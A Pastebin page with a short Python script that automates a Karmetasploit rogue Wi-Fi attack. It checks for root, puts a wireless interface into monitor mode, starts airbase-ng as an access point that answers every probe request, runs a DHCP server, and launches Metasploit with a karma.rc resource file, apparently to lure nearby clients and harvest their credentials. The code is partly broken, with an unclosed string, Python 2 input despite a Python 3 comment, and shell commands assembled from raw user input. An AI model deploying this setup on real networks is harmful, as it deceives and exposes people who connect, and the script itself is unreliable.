Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # www.infodox.co.cc
- # blog.infodox.co.cc
- # Karmetasploit script. Assumes karma.rc is in current working dir.
- import os
- import sys
- # Function: amiroot()
- def amiroot():
- if os.geteuid() != 0:
- print("[-] You are not root... Sudo may be of some assistance!")
- sys.exit(1)
- else:
- pass
- # Function: get_ifaces() This works in 3
- def get_ifaces():
- airmon = os.popen("airmon-ng")
- ifacelst = airmon.readlines()
- li=0
- for line in ifacelst:
- line = line.replace("Interface\tChipset\t\tDriver","")
- line = line.strip()
- inum = li + 1
- if line:
- line = line.split("\t\t")
- print (line[0])
- ifaces = line[0]
- return ifaces
- amiroot()
- print("========== Currently Available Interfaces ==========")
- get_ifaces()
- print("====================================================")
- iface = raw_input("what interface are you changing (eg: wlan0): ") # Sets the interface
- print("[+] Using interface " + iface)
- os.popen("airmon-ng start " + iface)
- print("[+] Airmon putting " + iface + " in monitor mode...
- os.popen("xterm -e airbase-ng -P -C 30 -e "U R PWND" -v mon0 &")
- os.popen("ifconfig at0 up 10.0.0.1 netmask 255.255.255.0")
- os.popen("dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0")
- os.popen("xterm -e msfconsole -r karma.rc")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement